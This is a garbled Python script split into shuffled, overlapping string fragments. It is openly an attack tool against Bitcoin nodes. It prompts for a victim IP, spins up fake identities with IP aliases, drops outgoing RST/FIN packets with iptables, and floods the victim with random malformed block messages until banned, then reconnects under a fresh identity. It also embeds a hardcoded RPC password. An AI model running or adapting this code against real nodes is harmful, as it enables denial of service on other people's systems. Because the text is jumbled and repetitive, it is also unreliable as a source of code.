"terminal(f'sudo ifconfig {interface} {ip} down') except: pass # This function",
"from _thread import start_new_thread from bitcoin.messages import * from bitcoin.net",
"{ 'socket': s, 'src_ip': src_ip, 'src_port': src_port, 'dst_ip': dst_ip, 'dst_port':",
"verbose: print('Setting up iptables configurations') terminal(f'sudo iptables -I OUTPUT -o",
"cleanup_ipaliases(): for i in range(0, len(identity_address)): try: ip = identity_address[i][0]",
"Close a connection def close_connection(socket, ip, port, interface): socket.close() terminal(f'sudo",
"8333 # How many identities should run simultaneously num_identities =",
"the Linux terminal def terminal(cmd): return os.popen(cmd).read() # Send commands",
"def make_fake_connection(src_ip, dst_ip, verbose=True): src_port = random.randint(1024, 65535) dst_port =",
"65535) dst_port = victim_port print(f'Creating fake identity ({src_ip} : {src_port})",
"identity_address: identity_address.remove((ip, port)) print(f'Successfully closed connection to ({ip} : {port})')",
"above a certain threshhold, it prevents a lot of errors",
"{src_port}) to ({dst_ip} : {dst_port})...') try: s.connect((dst_ip, dst_port)) except: close_connection(s,",
"= 70015 try: network_info = None #json.loads(bitcoin('getnetworkinfo')) if 'subversion' in",
"res += bytearray(random.getrandbits(8) for _ in range(4)) res += body",
"close_connection(socket, ip, port, interface): socket.close() terminal(f'sudo ifconfig {interface} {ip} down')",
"continue if ip not in [x[0] for x in identity_address]:",
"interface and IP for each successful connection identity_address = []",
"python-bitcoinlib def block_packet_bytes(): hashPrevBlock = bytearray(random.getrandbits(8) for _ in range(32))",
"version_packet(src_ip, dst_ip, src_port, dst_port): msg = msg_version(bitcoin_protocolversion) msg.nVersion = bitcoin_protocolversion",
"the victim def make_fake_connection(src_ip, dst_ip, verbose=True): src_port = random.randint(1024, 65535)",
"None: default_gateway = m.group(1).strip() network_interface = m.group(2).strip() else: print('Error: Network",
"change, so that packets still come back to the sender",
"in network_info: bitcoin_subversion = network_info['subversion'] if 'protocolversion' in network_info: bitcoin_protocolversion",
"configuration') terminal(f'iptables-restore < {iptables_file_path}') os.remove(iptables_file_path) # Remove all ip aliases",
"iptables before backing up, just in case if the computer",
"complete. Goodbye.') #print('Verifying that internet works...') #if not internet_is_active(): #",
"_BytesIO() msg.stream_serialize(f) body = f.getvalue() res = b'\\xf9\\xbe\\xb4\\xd9' res +=",
"{dst_port})...') interface = ip_alias(src_ip) identity_interface.append(interface) if verbose: print(f'Successfully set up",
"+dev +([^ ]+)', terminal('ip route')) if m != None: default_gateway",
"connection # The file where the iptables backup is saved,",
"backyp of the iptable rules def backup_iptables(): terminal(f'iptables-save > {iptables_file_path}')",
"if socket in identity_socket: identity_socket.remove(socket) else: del socket if interface",
"attack(socket, src_ip, src_port, dst_ip, dst_port, interface): block = block_packet_bytes() while",
"= min(int(attacker_ip.split('.')[-1]), int(victim_ip.split('.')[-1])) + 1 while(True): ip = broadcast_address old_ip",
"# Initialize the network def initialize_network_info(): print('Retrieving network info...') global",
"down') except: pass # This function is ran when the",
"from terminating when the sniff function is still active while",
"code to run if __name__ == '__main__': global alias_num alias_num",
"-j DROP') terminal(f'sudo iptables -I OUTPUT -o {interface} -p tcp",
"network_interface = m.group(2).strip() else: print('Error: Network interface couldn\\'t be found.')",
"!= 0: sys.exit(\"\\nYou need to have root privileges to run",
"success = s.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, str(network_interface + '\\0').encode('utf-8')) time.sleep(1) print(network_interface) if",
"is stopped def on_close(): print('Closing open sockets') for socket in",
"While attacking the victim, wait this many seconds before sending",
"before backing up, just in case if the computer shutdown",
"ifconfig {network_interface} {attacker_ip} up') # Create an alias for a",
"hashMerkleRoot=hashMerkleRoot, #hashMerkleRoot='\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00', nTime=nTime, nBits=0, nNonce=nNonce, vtx=() ) name = 'block'",
"network interface # Used as an IP template of what",
"socket.close() terminal(f'sudo ifconfig {interface} {ip} down') if socket in identity_socket:",
"while(old_ip != ip): old_ip = ip ip = ip.replace('255', str(random.randint(minimum_ip_range,",
"{ip} on {interface}') terminal(f'sudo ifconfig {interface} {ip} down') except: pass",
"from bitcoin.messages import * from bitcoin.net import CAddress from bitcoin.core",
"attacker script {interface}') try: start_new_thread(attack, (), { 'socket': s, 'src_ip':",
"cmd).read() # Generate a random identity using the broadcast address",
"when the script ends iptables_file_path = f'{os.path.abspath(os.getcwd())}/backup.iptables.rules' # Send commands",
"identity_interface.append(interface) if verbose: print(f'Successfully set up IP alias on interface",
"IP template of what can change, so that packets still",
"+= struct.pack(b\"<I\", len(body)) #th = hashlib.sha256(body).digest() # add checksum #h",
"{iptables_file_path}') # Restore the backup of the iptable rules def",
"make_fake_connection(random_ip(), dst_ip, False) # Initialize the network def initialize_network_info(): print('Retrieving",
"print('Cleanup complete. Goodbye.') #print('Verifying that internet works...') #if not internet_is_active():",
"'src_port': src_port, 'dst_ip': dst_ip, 'dst_port': dst_port, 'interface': interface }) except:",
"this to recover the network #def reset_network(): # print('Resetting network...')",
"down') if socket in identity_socket: identity_socket.remove(socket) else: del socket if",
"for each successful connection identity_address = [] # Keeps the",
"# Keeps the IP and port for each successful connection",
"recover the network #def reset_network(): # print('Resetting network...') # terminal(f'sudo",
"#h = hashlib.sha256(th).digest() #res += h[:4] res += bytearray(random.getrandbits(8) for",
"identity_address.remove((ip, port)) print(f'Successfully closed connection to ({ip} : {port})') #",
"atexit.register(on_close) # Make on_close() run when the script terminates cleanup_iptables()",
"nVersion=bitcoin_protocolversion, hashPrevBlock=hashPrevBlock, #hashPrevBlock='\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00', hashMerkleRoot=hashMerkleRoot, #hashMerkleRoot='\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00', nTime=nTime, nBits=0, nNonce=nNonce, vtx=() )",
"# This is the first code to run if __name__",
"hashPrevBlock = bytearray(random.getrandbits(8) for _ in range(32)) hashMerkleRoot = bytearray(random.getrandbits(8)",
"Console def bitcoin(cmd): return os.popen('./../../src/bitcoin-cli -rpcuser=cybersec -rpcpassword=<KEY>GW8kIuL1slRVFXoFpGsXXTIA55V3iUYLckn8rj8MZHBpmdGQjLxakotkj83ZlSRx1aOJ4BFxdvDNz0WHk1i2OPgXL4nsd56Ph991eKNbXVJHtzqCXUbtDELVf4shFJXame -rpcport=8332 ' +",
"old_ip = '' while(old_ip != ip): old_ip = ip ip",
"!= ip): old_ip = ip ip = ip.replace('255', str(random.randint(minimum_ip_range, 255)),",
"f'{network_interface}:{alias_num}' terminal(f'sudo ifconfig {interface} {ip_address} netmask 255.255.255.0 broadcast {broadcast_address} up')",
"netmask 255.255.255.0 broadcast {broadcast_address} up') alias_num += 1 return interface",
"s.bind((src_ip, src_port)) if verbose: print(f'Connecting ({src_ip} : {src_port}) to ({dst_ip}",
"1 while(True): ip = broadcast_address old_ip = '' while(old_ip !=",
"up iptables configuration') terminal(f'iptables-restore < {iptables_file_path}') os.remove(iptables_file_path) # Remove all",
"1, 1)).total_seconds())#.to_bytes(8, 'little') nNonce = random.getrandbits(32) msg = CBlock( nVersion=bitcoin_protocolversion,",
"# Used as an IP template of what can change,",
"any pre-existing iptables before backing up, just in case if",
"ends iptables_file_path = f'{os.path.abspath(os.getcwd())}/backup.iptables.rules' # Send commands to the Linux",
"s.send(version.to_bytes()) # Get verack packet verack = s.recv(1924) # Send",
"connection to the victim def make_fake_connection(src_ip, dst_ip, verbose=True): src_port =",
"dst_ip, False) return # Send version packet version = version_packet(src_ip,",
"attacker_ip = input('\\nEnter attacker\\'s IP address: ') # Specify the",
"identity_socket.append(s) # Listen to the connections for future packets if",
"must not be running.') print(f'Successful connections: {len(identity_address)}\\n') # Prevent the",
"'/Satoshi:0.18.0/' bitcoin_protocolversion = 70015 try: network_info = None #json.loads(bitcoin('getnetworkinfo')) if",
"= int((datetime.datetime.now() - datetime.datetime(1970, 1, 1)).total_seconds())#.to_bytes(8, 'little') nNonce = random.getrandbits(32)",
"IP for each successful connection identity_address = [] # Keeps",
"== victim_ip: continue if ip not in [x[0] for x",
"if m != None: default_gateway = m.group(1).strip() network_interface = m.group(2).strip()",
"x in identity_address]: break return ip #return f'10.0.{str(random.randint(0, 255))}.{str(random.randint(0, 255))}'",
"a backyp of the iptable rules def backup_iptables(): terminal(f'iptables-save >",
"msg.stream_serialize(f) body = f.getvalue() res = b'\\xf9\\xbe\\xb4\\xd9' res += name.encode()",
"= msg_version(bitcoin_protocolversion) msg.nVersion = bitcoin_protocolversion msg.addrFrom.ip = src_ip msg.addrFrom.port =",
"# Default is /python-bitcoinlib:0.11.0/ msg.strSubVer = bitcoin_subversion.encode() # Look like",
"del socket if interface in identity_interface: identity_interface.remove(interface) if (ip, port)",
"return # Send version packet version = version_packet(src_ip, dst_ip, src_port,",
"in range(1, num_identities + 1): try: make_fake_connection(src_ip = random_ip(), dst_ip",
"return os.popen('./../../src/bitcoin-cli -rpcuser=cybersec -rpcpassword=<KEY>GW8kIuL1slRVFXoFpGsXXTIA55V3iUYLckn8rj8MZHBpmdGQjLxakotkj83ZlSRx1aOJ4BFxdvDNz0WHk1i2OPgXL4nsd56Ph991eKNbXVJHtzqCXUbtDELVf4shFJXame -rpcport=8332 ' + cmd).read() # Generate",
"port, interface): socket.close() terminal(f'sudo ifconfig {interface} {ip} down') if socket",
"= ip.replace('255', str(random.randint(minimum_ip_range, 255)), 1) # Don't accept already assigned",
"cleanup_ipaliases() cleanup_iptables() print('Cleanup complete. Goodbye.') #print('Verifying that internet works...') #if",
"template def random_ip(): # By forcing the IP to be",
"= random.getrandbits(32) msg = CBlock( nVersion=bitcoin_protocolversion, hashPrevBlock=hashPrevBlock, #hashPrevBlock='\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00', hashMerkleRoot=hashMerkleRoot, #hashMerkleRoot='\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00',",
"in case if the computer shutdown without restoring backup_iptables() #",
"= victim_ip) except ConnectionRefusedError: print('Connection was refused. The victim\\'s node",
"Prevent the script from terminating when the sniff function is",
"version message seconds_between_version_packets = 0.1 identity_interface = [] # Keeps",
"port) in identity_address: identity_address.remove((ip, port)) print(f'Successfully closed connection to ({ip}",
"s.recv(1924) # Send verack packet verack = msg_verack(bitcoin_protocolversion) s.send(verack.to_bytes()) #",
"'dst_port': dst_port, 'interface': interface }) except: print('Error: unable to start",
"initialize_bitcoin_info(): print('Retrieving bitcoin info...') global bitcoin_subversion global bitcoin_protocolversion bitcoin_subversion =",
"network...') # terminal(f'sudo ifconfig {network_interface} {attacker_ip} down') # terminal(f'sudo ifconfig",
"({ip} : {port})') # Creates a fake connection to the",
"# return os.system('ping -c 1 google.com') == 0 # If",
"identity ({src_ip} : {src_port}) to connect to ({dst_ip} : {dst_port})...')",
": {src_port}) to ({dst_ip} : {dst_port})...') try: s.connect((dst_ip, dst_port)) except:",
"packets if verbose: print('Attaching attacker script {interface}') try: start_new_thread(attack, (),",
"by the script def cleanup_ipaliases(): for i in range(0, len(identity_address)):",
"for _ in range(32)) nTime = int((datetime.datetime.now() - datetime.datetime(1970, 1,",
"fcntl import hashlib import json import os import random import",
"the victim's IP, and port (8333 for Bitcoin) victim_ip =",
"victim\\'s IP address: ') victim_port = 8333 # How many",
": {src_port}) to connect to ({dst_ip} : {dst_port})...') interface =",
"default_gateway: continue if ip == victim_ip: continue if ip not",
"unable to start thread to sniff interface {interface}') # Send",
"sender m = re.search(r'broadcast ([^ ]+)', terminal(f'ifconfig {network_interface}')) if m",
"f'{os.path.abspath(os.getcwd())}/backup.iptables.rules' # Send commands to the Linux terminal def terminal(cmd):",
"'little') nNonce = random.getrandbits(32) msg = CBlock( nVersion=bitcoin_protocolversion, hashPrevBlock=hashPrevBlock, #hashPrevBlock='\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00',",
"while success == -1: print(f'Setting socket network interface to \"{network_interface}\"...')",
"to the Bitcoin Core Console def bitcoin(cmd): return os.popen('./../../src/bitcoin-cli -rpcuser=cybersec",
"_BytesIO import atexit import bitcoin import fcntl import hashlib import",
"0: time.sleep(seconds_between_version_packets) try: socket.send(block) except Exception as e: print(e) break",
"ALL RST -j DROP') if verbose: print('Creating network socket...') s",
"__name__ == '__main__': global alias_num alias_num = 0 # Increments",
"print(f'Cleaning up IP alias {ip} on {interface}') terminal(f'sudo ifconfig {interface}",
"have root privileges to run this script.\\nPlease try again, this",
"Keeps the IP and port for each successful connection identity_socket",
"# Get the broadcast address of the network interface #",
"# Get verack packet verack = s.recv(1024) if verbose: print('Connection",
"a single ping to Google #def internet_is_active(): # return os.system('ping",
"the internet by sending a single ping to Google #def",
"b\"\\x00\" * (12 - len(name)) res += struct.pack(b\"<I\", len(body)) #th",
"in identity_socket: identity_socket.remove(socket) else: del socket if interface in identity_interface:",
"Send commands to the Bitcoin Core Console def bitcoin(cmd): return",
"[] # Keeps the IP alias interface and IP for",
"= _BytesIO() msg.stream_serialize(f) body = f.getvalue() res = b'\\xf9\\xbe\\xb4\\xd9' res",
"on interface {interface}') if verbose: print('Resulting ifconfig interface:') if verbose:",
"network_interface, broadcast_address # Get the network interface of the default",
"random.getrandbits(32) msg = CBlock( nVersion=bitcoin_protocolversion, hashPrevBlock=hashPrevBlock, #hashPrevBlock='\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00', hashMerkleRoot=hashMerkleRoot, #hashMerkleRoot='\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00', nTime=nTime,",
"BytesIO as _BytesIO import atexit import bitcoin import fcntl import",
"privileges to run this script.\\nPlease try again, this time using",
"len(name)) res += struct.pack(b\"<I\", len(body)) #th = hashlib.sha256(body).digest() # add",
"= hashlib.sha256(th).digest() #res += h[:4] res += bytearray(random.getrandbits(8) for _",
"bitcoin import fcntl import hashlib import json import os import",
"ip_alias(ip_address): global alias_num print(f'Setting up IP alias {ip_address} on {network_interface}')",
"{dst_port})...') try: s.connect((dst_ip, dst_port)) except: close_connection(s, src_ip, src_port, interface) make_fake_connection(random_ip(),",
"in range(32)) nTime = int((datetime.datetime.now() - datetime.datetime(1970, 1, 1)).total_seconds())#.to_bytes(8, 'little')",
"_ in range(32)) hashMerkleRoot = bytearray(random.getrandbits(8) for _ in range(32))",
"for x in identity_address]: break return ip #return f'10.0.{str(random.randint(0, 255))}.{str(random.randint(0,",
"# Keeps the socket for each successful connection # The",
"dst_port): msg = msg_version(bitcoin_protocolversion) msg.nVersion = bitcoin_protocolversion msg.addrFrom.ip = src_ip",
"socket in identity_socket: socket.close() cleanup_ipaliases() cleanup_iptables() print('Cleanup complete. Goodbye.') #print('Verifying",
"body = f.getvalue() res = b'\\xf9\\xbe\\xb4\\xd9' res += name.encode() res",
"packet using python-bitcoinlib def block_packet_bytes(): hashPrevBlock = bytearray(random.getrandbits(8) for _",
"bitcoin.messages import * from bitcoin.net import CAddress from bitcoin.core import",
"fails, we can use this to recover the network #def",
"verack = s.recv(1024) if verbose: print('Connection successful!') identity_address.append((src_ip, src_port)) identity_socket.append(s)",
"def initialize_network_info(): print('Retrieving network info...') global default_gateway, network_interface, broadcast_address #",
"= identity_address[i][0] interface = identity_interface[i] print(f'Cleaning up IP alias {ip}",
"range(0, len(identity_address)): try: ip = identity_address[i][0] interface = identity_interface[i] print(f'Cleaning",
"RST,ACK -j DROP') terminal(f'sudo iptables -I OUTPUT -o {interface} -p",
"= random_ip(), dst_ip = victim_ip) except ConnectionRefusedError: print('Connection was refused.",
"while(True): ip = broadcast_address old_ip = '' while(old_ip != ip):",
"each version message seconds_between_version_packets = 0.1 identity_interface = [] #",
"# Send version repeatedly, until banned def attack(socket, src_ip, src_port,",
"src_ip, src_port, interface) make_fake_connection(random_ip(), dst_ip, False) return # Send version",
"len(identity_address)): try: ip = identity_address[i][0] interface = identity_interface[i] print(f'Cleaning up",
"def cleanup_ipaliases(): for i in range(0, len(identity_address)): try: ip =",
"if seconds_between_version_packets != 0: time.sleep(seconds_between_version_packets) try: socket.send(block) except Exception as",
"down') # terminal(f'sudo ifconfig {network_interface} {attacker_ip} up') # Create an",
"to be above a certain threshhold, it prevents a lot",
"+= bytearray(random.getrandbits(8) for _ in range(4)) res += body return",
"bytearray(random.getrandbits(8) for _ in range(4)) res += body return res",
"= src_ip msg.addrFrom.port = src_port msg.addrTo.ip = dst_ip msg.addrTo.port =",
"-p tcp --tcp-flags ALL FIN -j DROP') terminal(f'sudo iptables -I",
"import re import socket import struct import sys import time",
"iptables configurations') terminal(f'sudo iptables -I OUTPUT -o {interface} -p tcp",
"Get verack packet verack = s.recv(1024) if verbose: print('Connection successful!')",
"s, 'src_ip': src_ip, 'src_port': src_port, 'dst_ip': dst_ip, 'dst_port': dst_port, 'interface':",
"repeatedly, until banned def attack(socket, src_ip, src_port, dst_ip, dst_port, interface):",
"not be running.') print(f'Successful connections: {len(identity_address)}\\n') # Prevent the script",
"time.sleep(1) print(network_interface) if verbose: print(f'Binding socket to ({src_ip} : {src_port})...')",
"time.sleep(seconds_between_version_packets) try: socket.send(block) except Exception as e: print(e) break close_connection(socket,",
"run if __name__ == '__main__': global alias_num alias_num = 0",
"gateway m = re.search(r'default +via +([^ ]+) +dev +([^ ]+)',",
"re import socket import struct import sys import time import",
"# Restore the backup of the iptable rules def cleanup_iptables():",
"def on_close(): print('Closing open sockets') for socket in identity_socket: socket.close()",
": {src_port})') make_fake_connection(random_ip(), dst_ip, False) # Initialize the network def",
"sys.exit() # Initialize Bitcoin info def initialize_bitcoin_info(): print('Retrieving bitcoin info...')",
"dst_port)) except: close_connection(s, src_ip, src_port, interface) make_fake_connection(random_ip(), dst_ip, False) return",
"the broadcast address template def random_ip(): # By forcing the",
"'dst_ip': dst_ip, 'dst_port': dst_port, 'interface': interface }) except: print('Error: unable",
"# Send version packet version = version_packet(src_ip, dst_ip, src_port, dst_port)",
"restored when the script ends iptables_file_path = f'{os.path.abspath(os.getcwd())}/backup.iptables.rules' # Send",
"when the sniff function is still active while 1: time.sleep(60)",
"identity_address[i][0] interface = identity_interface[i] print(f'Cleaning up IP alias {ip} on",
"({src_ip} : {src_port})...') s.bind((src_ip, src_port)) if verbose: print(f'Connecting ({src_ip} :",
"= [] # Keeps the socket for each successful connection",
"{network_interface} {attacker_ip} up') # Create an alias for a specified",
"= network_info['protocolversion'] except: pass # Save a backyp of the",
"{interface} {ip} down') if socket in identity_socket: identity_socket.remove(socket) else: del",
"like a normal node return msg # Close a connection",
"ip = broadcast_address old_ip = '' while(old_ip != ip): old_ip",
"= None #json.loads(bitcoin('getnetworkinfo')) if 'subversion' in network_info: bitcoin_subversion = network_info['subversion']",
"src_ip msg.addrFrom.port = src_port msg.addrTo.ip = dst_ip msg.addrTo.port = dst_port",
"random_ip(), dst_ip = victim_ip) except ConnectionRefusedError: print('Connection was refused. The",
"return ip #return f'10.0.{str(random.randint(0, 255))}.{str(random.randint(0, 255))}' # Checking the internet",
"iptables -I OUTPUT -o {interface} -p tcp --tcp-flags ALL RST,ACK",
"bytearray(random.getrandbits(8) for _ in range(32)) nTime = int((datetime.datetime.now() - datetime.datetime(1970,",
"return res # Construct a version packet using python-bitcoinlib def",
"(8333 for Bitcoin) victim_ip = input('Enter victim\\'s IP address: ')",
"# Get verack packet verack = s.recv(1924) # Send verack",
"can change, so that packets still come back to the",
"# Send commands to the Bitcoin Core Console def bitcoin(cmd):",
"Specify the victim's IP, and port (8333 for Bitcoin) victim_ip",
"FIN,ACK -j DROP') terminal(f'sudo iptables -I OUTPUT -o {interface} -p",
"!= None: default_gateway = m.group(1).strip() network_interface = m.group(2).strip() else: print('Error:",
"#hashPrevBlock='\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00', hashMerkleRoot=hashMerkleRoot, #hashMerkleRoot='\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00', nTime=nTime, nBits=0, nNonce=nNonce, vtx=() ) name =",
"#res += h[:4] res += bytearray(random.getrandbits(8) for _ in range(4))",
"bitcoin_protocolversion = network_info['protocolversion'] except: pass # Save a backyp of",
"iptable rules def backup_iptables(): terminal(f'iptables-save > {iptables_file_path}') # Restore the",
"+ '\\0').encode('utf-8')) time.sleep(1) print(network_interface) if verbose: print(f'Binding socket to ({src_ip}",
"info def initialize_bitcoin_info(): print('Retrieving bitcoin info...') global bitcoin_subversion global bitcoin_protocolversion",
"True: if seconds_between_version_packets != 0: time.sleep(seconds_between_version_packets) try: socket.send(block) except Exception",
"default gateway m = re.search(r'default +via +([^ ]+) +dev +([^",
"in range(32)) hashMerkleRoot = bytearray(random.getrandbits(8) for _ in range(32)) nTime",
"successful connection identity_address = [] # Keeps the IP and",
"except: pass # This function is ran when the script",
"add checksum #h = hashlib.sha256(th).digest() #res += h[:4] res +=",
"= input('\\nEnter attacker\\'s IP address: ') # Specify the victim's",
"= '' while(old_ip != ip): old_ip = ip ip =",
"msg = msg_version(bitcoin_protocolversion) msg.nVersion = bitcoin_protocolversion msg.addrFrom.ip = src_ip msg.addrFrom.port",
"before sending each version message seconds_between_version_packets = 0.1 identity_interface =",
"vtx=() ) name = 'block' f = _BytesIO() msg.stream_serialize(f) body",
"sniff interface {interface}') # Send version repeatedly, until banned def",
"None: broadcast_address = m.group(1).strip() else: print('Error: Network broadcast IP couldn\\'t",
"victim_port = 8333 # How many identities should run simultaneously",
"# Specify the attacker's genuine IP attacker_ip = input('\\nEnter attacker\\'s",
"{interface} -p tcp --tcp-flags ALL RST -j DROP') if verbose:",
"int((datetime.datetime.now() - datetime.datetime(1970, 1, 1)).total_seconds())#.to_bytes(8, 'little') nNonce = random.getrandbits(32) msg",
"all else fails, we can use this to recover the",
"backup of the iptable rules def cleanup_iptables(): if(os.path.exists(iptables_file_path)): print('Cleaning up",
"interface to \"{network_interface}\"...') success = s.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, str(network_interface + '\\0').encode('utf-8'))",
"Creates a fake connection to the victim def make_fake_connection(src_ip, dst_ip,",
"import atexit import bitcoin import fcntl import hashlib import json",
"connection identity_socket = [] # Keeps the socket for each",
"-o {interface} -p tcp --tcp-flags ALL FIN -j DROP') terminal(f'sudo",
"print(f'Peer was banned ({src_ip} : {src_port})') make_fake_connection(random_ip(), dst_ip, False) #",
"network interface of the default gateway m = re.search(r'default +via",
"]+)', terminal(f'ifconfig {network_interface}')) if m != None: broadcast_address = m.group(1).strip()",
"print('Retrieving network info...') global default_gateway, network_interface, broadcast_address # Get the",
"= m.group(1).strip() else: print('Error: Network broadcast IP couldn\\'t be found.')",
"not internet_is_active(): # reset_network() # This is the first code",
"alias_num alias_num = 0 # Increments each alias initialize_network_info() initialize_bitcoin_info()",
"broadcast_address # Get the network interface of the default gateway",
"break return ip #return f'10.0.{str(random.randint(0, 255))}.{str(random.randint(0, 255))}' # Checking the",
"src_ip, src_port, dst_ip, dst_port, interface): block = block_packet_bytes() while True:",
"= ip ip = ip.replace('255', str(random.randint(minimum_ip_range, 255)), 1) # Don't",
"hashMerkleRoot = bytearray(random.getrandbits(8) for _ in range(32)) nTime = int((datetime.datetime.now()",
"Generate a random identity using the broadcast address template def",
"port for each successful connection identity_socket = [] # Keeps",
"msg_version(bitcoin_protocolversion) msg.nVersion = bitcoin_protocolversion msg.addrFrom.ip = src_ip msg.addrFrom.port = src_port",
"a certain threshhold, it prevents a lot of errors minimum_ip_range",
"ip.replace('255', str(random.randint(minimum_ip_range, 255)), 1) # Don't accept already assigned IPs",
"verbose: print(f'Binding socket to ({src_ip} : {src_port})...') s.bind((src_ip, src_port)) if",
"= 8 # While attacking the victim, wait this many",
"to start thread to sniff interface {interface}') # Send version",
"socket network interface to \"{network_interface}\"...') success = s.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, str(network_interface",
"src_port, interface) print(f'Peer was banned ({src_ip} : {src_port})') make_fake_connection(random_ip(), dst_ip,",
"to connect to ({dst_ip} : {dst_port})...') interface = ip_alias(src_ip) identity_interface.append(interface)",
"info...') global bitcoin_subversion global bitcoin_protocolversion bitcoin_subversion = '/Satoshi:0.18.0/' bitcoin_protocolversion =",
": {dst_port})...') interface = ip_alias(src_ip) identity_interface.append(interface) if verbose: print(f'Successfully set",
"= [] # Keeps the IP and port for each",
"socket for each successful connection # The file where the",
"= victim_port print(f'Creating fake identity ({src_ip} : {src_port}) to connect",
"be found.') sys.exit() # Get the broadcast address of the",
"should run simultaneously num_identities = 8 # While attacking the",
"using python-bitcoinlib def version_packet(src_ip, dst_ip, src_port, dst_port): msg = msg_version(bitcoin_protocolversion)",
"internet_is_active(): # reset_network() # This is the first code to",
"input('Enter victim\\'s IP address: ') victim_port = 8333 # How",
"block_packet_bytes() while True: if seconds_between_version_packets != 0: time.sleep(seconds_between_version_packets) try: socket.send(block)",
"< {iptables_file_path}') os.remove(iptables_file_path) # Remove all ip aliases that were",
"]+) +dev +([^ ]+)', terminal('ip route')) if m != None:",
"datetime.datetime(1970, 1, 1)).total_seconds())#.to_bytes(8, 'little') nNonce = random.getrandbits(32) msg = CBlock(",
"-p tcp --tcp-flags ALL FIN,ACK -j DROP') terminal(f'sudo iptables -I",
"interface = f'{network_interface}:{alias_num}' terminal(f'sudo ifconfig {interface} {ip_address} netmask 255.255.255.0 broadcast",
"terminal('ip route')) if m != None: default_gateway = m.group(1).strip() network_interface",
"interface couldn\\'t be found.') sys.exit() # Get the broadcast address",
"{ip} down') except: pass # This function is ran when",
"interface in identity_interface: identity_interface.remove(interface) if (ip, port) in identity_address: identity_address.remove((ip,",
"initialize_network_info() initialize_bitcoin_info() atexit.register(on_close) # Make on_close() run when the script",
"'__main__': global alias_num alias_num = 0 # Increments each alias",
"network_info: bitcoin_protocolversion = network_info['protocolversion'] except: pass # Save a backyp",
"to Google #def internet_is_active(): # return os.system('ping -c 1 google.com')",
"seconds_between_version_packets = 0.1 identity_interface = [] # Keeps the IP",
"import os import random import re import socket import struct",
"# Specify the victim's IP, and port (8333 for Bitcoin)",
"terminal(f'sudo iptables -I OUTPUT -o {interface} -p tcp --tcp-flags ALL",
"verbose: print(f'Setting socket network interface to \"{network_interface}\"...') success = s.setsockopt(socket.SOL_SOCKET,",
"dst_ip, src_port, dst_port) s.send(version.to_bytes()) # Get verack packet verack =",
"msg.nVersion = bitcoin_protocolversion msg.addrFrom.ip = src_ip msg.addrFrom.port = src_port msg.addrTo.ip",
"broadcast_address = m.group(1).strip() else: print('Error: Network broadcast IP couldn\\'t be",
"255))}.{str(random.randint(0, 255))}' # Checking the internet by sending a single",
"Restore any pre-existing iptables before backing up, just in case",
"Get verack packet verack = s.recv(1924) # Send verack packet",
"hashPrevBlock=hashPrevBlock, #hashPrevBlock='\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00', hashMerkleRoot=hashMerkleRoot, #hashMerkleRoot='\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00', nTime=nTime, nBits=0, nNonce=nNonce, vtx=() ) name",
"for _ in range(32)) hashMerkleRoot = bytearray(random.getrandbits(8) for _ in",
"'interface': interface }) except: print('Error: unable to start thread to",
"{ip} down') if socket in identity_socket: identity_socket.remove(socket) else: del socket",
"script.\\nPlease try again, this time using 'sudo'. Exiting.\\n\") # Specify",
"message seconds_between_version_packets = 0.1 identity_interface = [] # Keeps the",
"terminal(f'sudo ifconfig {network_interface} {attacker_ip} down') # terminal(f'sudo ifconfig {network_interface} {attacker_ip}",
"Exception as e: print(e) break close_connection(socket, src_ip, src_port, interface) print(f'Peer",
